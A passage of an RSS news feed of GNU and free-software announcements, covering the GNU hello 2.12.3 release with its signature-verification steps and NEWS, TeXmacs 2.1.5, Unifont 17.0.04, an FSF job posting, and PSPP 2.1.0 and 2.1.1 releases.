&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the hello git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/hello.git&lt;br /&gt;
&lt;br /&gt;
with commit 89fff19b23e35f0e97072507685c92aaae3d04c7 tagged as v2.12.3.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=hello.git;a=shortlog;h=v2.12.3&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned hello directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v2.12.2..v2.12.3&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.72&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-03-16 4e11e3d07a79a49eaa9b155c43801bbc1e5bd86e&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 2.12.3 (2026-03-17) [stable]&lt;br /&gt;
&lt;br /&gt;
The manual no longer mentions the -h and -v short options which were&lt;br /&gt;
removed in release 2.11.&lt;br /&gt;
&lt;br /&gt;
Update gnulib for compatibility with glibc-2.43.&lt;br /&gt;
&lt;br /&gt;
GNU hello no longer fails to build with BSD implementations of the&lt;br /&gt;
'make' command.  Previously they would be unable to find a target&lt;br /&gt;
listed as a dependency of the 'hello' program.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 18 Mar 2026 03:46:16 +0000</pubDate>

</item> 
<item>
	<title>texmacs @ Savannah: TeXmacs 2.1.5 released</title>
	<guid>https://savannah.gnu.org/news/?id=10866</guid>
	<link>https://savannah.gnu.org/news/?id=10866</link>
     <description>  &lt;p&gt;Hello everyone,
&lt;br /&gt;

&lt;br /&gt;
We are pleased to announce the release of TeXmacs version 2.1.5
&lt;br /&gt;

&lt;br /&gt;
This version uses Qt6 by default, supports very high-definition displays, and introduces new ongoing collaborative editing features. On Windows, TeXmacs is now available on the Microsoft Store. On Linux, we have a new Qt6 AppImage that maximizes compatibility with GNU Linux distributions. On Mac, we have new universal packages.
&lt;br /&gt;

&lt;br /&gt;
- Download for Windows: &lt;a href="https://www.texmacs.org/tmweb/download/windows.en.html"&gt;https://www.texma ... d/windows.en.html&lt;/a&gt;
&lt;br /&gt;
- Download for macOS: &lt;a href="https://www.texmacs.org/tmweb/download/macosx.en.html"&gt;https://www.texma ... ad/macosx.en.html&lt;/a&gt;
&lt;br /&gt;
- Download for GNU Linux: &lt;a href="https://www.texmacs.org/tmweb/download/linux.en.html"&gt;https://www.texma ... oad/linux.en.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Happy writing with TeXmacs!
&lt;br /&gt;

&lt;br /&gt;
The TeXmacs Team&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 17 Mar 2026 13:14:54 +0000</pubDate>

</item> 
<item>
	<title>unifont @ Savannah: Unifont 17.0.04 Released</title>
	<guid>https://savannah.gnu.org/news/?id=10864</guid>
	<link>https://savannah.gnu.org/news/?id=10864</link>
     <description>  &lt;p&gt;&lt;b&gt;13 March 2026&lt;/b&gt; Unifont 17.0.04 is now available.  This is a minor release aligned with Unicode 17.0.0.
&lt;br /&gt;

&lt;br /&gt;
This release notably includes separate BDF, PCF, and OpenType font files with 28,000+ Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  Also, font/Makefile has been reorganized for more efficient font file building.  See the ChangeLog file for details.
&lt;br /&gt;

&lt;br /&gt;
Download this release from GNU server mirrors at:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://ftpmirror.gnu.org/unifont/unifont-17.0.04/"&gt;https://ftpmirror ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or if that fails,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://ftp.gnu.org/gnu/unifont/unifont-17.0.04/"&gt;https://ftp.gnu.o ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or, as a last resort,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="ftp://ftp.gnu.org/gnu/unifont/unifont-17.0.04/"&gt;ftp://ftp.gnu.org ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
These files are also available on the unifoundry.com website:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://unifoundry.com/pub/unifont/unifont-17.0.04/"&gt;https://unifoundr ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Font files are in the subdirectory
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://unifoundry.com/pub/unifont/unifont-17.0.04/font-builds/"&gt;https://unifoundr ... 0.04/font-builds/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
A more detailed description of font changes is available at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/unifont/index.html"&gt;https://unifoundr ... nifont/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and of utility program changes at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/unifont/unifont-utilities.html"&gt;https://unifoundr ... nt-utilities.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Information about Hangul modifications is at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/hangul/index.html"&gt;https://unifoundr ... hangul/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="http://unifoundry.com/hangul/hangul-generation.html"&gt;http://unifoundry ... l-generation.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Enjoy!
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Paul Hardy
&lt;br /&gt;
GNU Unifont Maintainer&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 13 Mar 2026 21:46:00 +0000</pubDate>

</item> 
<item>
	<title>FSF News: Job opportunity: Engineering and Certification Manager at the Free Software Foundation</title>
	<guid>http://www.fsf.org/news/2026-job-opportunity-fsf-engineering-and-certification-manager</guid>
	<link>http://www.fsf.org/news/2026-job-opportunity-fsf-engineering-and-certification-manager</link>
     <description>  The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to promote computer user freedom, seeks a motivated and talented individual to be our new Engineering and Certification Manager. This position is ideally full-time and US-based, but exceptions can be made for a qualified candidate. </description> 
	<pubDate>Tue, 10 Mar 2026 12:15:00 +0000</pubDate>

</item> 
<item>
	<title>pspp @ Savannah: PSPP 2.1.1 has been released</title>
	<guid>https://savannah.gnu.org/news/?id=10861</guid>
	<link>https://savannah.gnu.org/news/?id=10861</link>
     <description>  &lt;p&gt;I'm very pleased to announce the release of a new version of GNU PSPP.  PSPP is a program for statistical analysis of sampled data.  It is a free replacement for the proprietary program SPSS.
&lt;br /&gt;

&lt;br /&gt;
Changes from 2.1.0 to 2.1.1:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Translation updates.
&lt;/li&gt;
&lt;li&gt;Bug fixes in build system and tests.
&lt;/li&gt;
&lt;li&gt;No longer mistakenly labeled as a "test release".
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please send PSPP bug reports to bug-gnu-pspp@gnu.org.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 06 Mar 2026 16:48:40 +0000</pubDate>

</item> 
<item>
	<title>pspp @ Savannah: PSPP 2.1.0 has been released.</title>
	<guid>https://savannah.gnu.org/news/?id=10860</guid>
	<link>https://savannah.gnu.org/news/?id=10860</link>
     <description>  &lt;p&gt;I'm very pleased to announce the release of a new version of GNU PSPP.  PSPP is a program for statistical analysis of sampled data.  It is a free replacement for the proprietary program SPSS.
&lt;br /&gt;

&lt;br /&gt;
Changes from 2.0.1 to 2.1.0:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;li&gt;Translation updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please send PSPP bug reports to bug-gnu-pspp@gnu.org.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 04 Mar 2026 18:24:39 +0000</pubDate>

</item> 
</channel>
</rss>